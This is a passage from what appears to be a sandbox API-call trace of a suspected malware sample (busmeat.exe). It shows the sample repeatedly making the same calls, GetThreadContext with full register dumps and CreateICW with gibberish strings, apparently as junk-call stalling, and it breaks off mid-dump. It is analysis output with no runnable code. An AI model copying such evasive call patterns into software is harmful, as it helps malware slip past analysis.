	[0066.197] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.197] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.197] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.197] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.197] GetConsoleCP () returned 0x0
	[0066.197] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.197] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.198] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.198] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.198] GetConsoleCP () returned 0x0
	[0066.198] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 